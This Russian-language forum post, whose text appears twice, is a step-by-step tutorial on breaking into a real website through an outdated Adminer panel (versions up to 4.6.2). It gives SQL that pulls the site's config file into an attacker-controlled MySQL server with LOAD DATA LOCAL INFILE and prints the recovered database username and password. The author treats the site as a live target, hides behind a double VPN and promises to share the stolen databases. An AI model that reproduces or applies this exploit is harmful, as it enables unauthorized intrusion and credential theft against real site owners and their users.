Началось все с новости в канале:
Ну что ж, таргет у нас есть, давайте им займемся. Прошло менее 72 часов, значит наши шансы на похек еще велики.
I. Исследование
Для начала нам нужно подумать каким образом была получена база данных. Это может быть:
Мной был выбран Acunetix ввиду того, что он у нашей команды предустановлен уже на сервере.
Отправим ручками таргет и выберем только SQL-Inj на скане:
Через не продолжительное время, а точнее сразу вылетает первый серьезный алерт
Как мы видим, у нас adminer старой версии. Теперь мы знаем вектор для атаки и можем ее провести.
II. Атака
Для проведения атаки нам потребуется mysql сервер, желательно удаленный, но можно развернуть и на локалке с использованием локальной сети также можно осуществить данную атаку. Мы не будем разворачивать сервер внутри нашей сети, мы воспользуемся удаленным.
Требования для проведения атаки:
Приступим.
Сначала нам нужно создать базу данных и пользователя и настроить последнего на удаленный доступ. Я же опущу этот пункт, чтобы было меньше вхождений в тему, так как такую банальную вещь вы должны уже уметь делать.
Создаем базу данных и таблицу:
Далее мы подключаемся через наши данные от mysql через adminer. Это выглядит следующим образом:
(Данные вбиты исключительно для демонстрации, в реальности совсем иные)
Ура, мы вошли!
Нас встречает наша созданная таблица, которую я затер, так как имя отличается от того, что в статье.
Прежде чем начать читать корень сайта, давайте посмотрим, что это за сайт:
Отлично, это булка! В булке конфиг лежит по следующему пути:
Теперь мы переходим в SQL command и вводим следующий SQL запрос, который прочтет файл и запишет его в нашу базу данных:
Вывод при удачном запросе:
Теперь переходим уже в нашу таблицу и начинаем построчно читать, что нам туда вообще упало.
Такой длинный листинг я спрячу под спойлер ниже, а под него закину только интересующие нас данные.
Из этого безобразия, нам интересен лишь этот момент:
Вот и входные данные в базу данных. Теперь дело остается за малым - вход в adminer под этими данными:
Подтверждение об успешной проведенной атаки и наличии баз данных:
Вот и весь туториал по самому тупому похеку adminer`a до версии 4.6.2 включительно.
III. Заключение
Хочется сказать, что работать по РУ нельзя не при каких обстоятельствах, но нужно всем учиться на нормальных примерах, а не на боксах, так как это не интересно и есть огромное желание заглянуть в туториал.
Администраторам: никогда не используйте adminer и вообще никакие другие панели управления сервером. Если вы их используете - отключайте потом.
Весь похек занимает не более 5ти минут, а написание данной статьи более 30 минут.
Все базы данных будут лежать в закрытом разделе, который посвящен работе по РФ.
Ну что ж, таргет у нас есть, давайте им займемся. Прошло менее 72 часов, значит наши шансы на похек еще велики.
I. Исследование
Для начала нам нужно подумать каким образом была получена база данных. Это может быть:
- Тупой adminer
- RCE в приложении
- SQL-Injection со всеми вытекающими
- Брут mysql/mariadb или уязвимая версия ПО
Мной был выбран Acunetix ввиду того, что он у нашей команды предустановлен уже на сервере.
Отправим ручками таргет и выберем только SQL-Inj на скане:
Через не продолжительное время, а точнее сразу вылетает первый серьезный алерт
Как мы видим, у нас adminer старой версии. Теперь мы знаем вектор для атаки и можем ее провести.
II. Атака
Для проведения атаки нам потребуется mysql сервер, желательно удаленный, но можно развернуть и на локалке с использованием локальной сети также можно осуществить данную атаку. Мы не будем разворачивать сервер внутри нашей сети, мы воспользуемся удаленным.
Требования для проведения атаки:
- Прямые руки
- Удаленный сервер с установленным ПО: mysql/mariadb
- Настроенный пользователь для удаленного подключения
- Double VPN подключение
Приступим.
Сначала нам нужно создать базу данных и пользователя и настроить последнего на удаленный доступ. Я же опущу этот пункт, чтобы было меньше вхождений в тему, так как такую банальную вещь вы должны уже уметь делать.
Создаем базу данных и таблицу:
SQL:
CREATE DATABASE `admin_db`;
CREATE TABLE admin_db.angel (
dark_time_com varchar(255) DEFAULT NULL
)
ENGINE = INNODB,
CHARACTER SET utf8,
COLLATE utf8_general_ci;
(Данные вбиты исключительно для демонстрации, в реальности совсем иные)
Ура, мы вошли!
Нас встречает наша созданная таблица, которую я затер, так как имя отличается от того, что в статье.
Прежде чем начать читать корень сайта, давайте посмотрим, что это за сайт:
Отлично, это булка! В булке конфиг лежит по следующему пути:
includes/config.php
Теперь мы переходим в SQL command и вводим следующий SQL запрос, который прочтет файл и запишет его в нашу базу данных:
SQL:
load data local infile 'includes/config.php'
into table angel
fields terminated by "\n"
Теперь переходим уже в нашу таблицу и начинаем построчно читать, что нам туда вообще упало.
Такой длинный листинг я спрячу под спойлер ниже, а под него закину только интересующие нас данные.
Из этого безобразия, нам интересен лишь этот момент:
Вот и входные данные в базу данных. Теперь дело остается за малым - вход в adminer под этими данными:
Код:
$config['MasterServer']['servername'] = 'localhost';
$config['MasterServer']['port'] = 3306;
$config['MasterServer']['username'] = 'expat_fuser_db';
$config['MasterServer']['password'] = 'E5x2R8v6'; //E5x2R8v6
Вот и весь туториал по самому тупому похеку adminer`a до версии 4.6.2 включительно.
III. Заключение
Хочется сказать, что работать по РУ нельзя не при каких обстоятельствах, но нужно всем учиться на нормальных примерах, а не на боксах, так как это не интересно и есть огромное желание заглянуть в туториал.
Администраторам: никогда не используйте adminer и вообще никакие другие панели управления сервером. Если вы их используете - отключайте потом.
Весь похек занимает не более 5ти минут, а написание данной статьи более 30 минут.
Все базы данных будут лежать в закрытом разделе, который посвящен работе по РФ.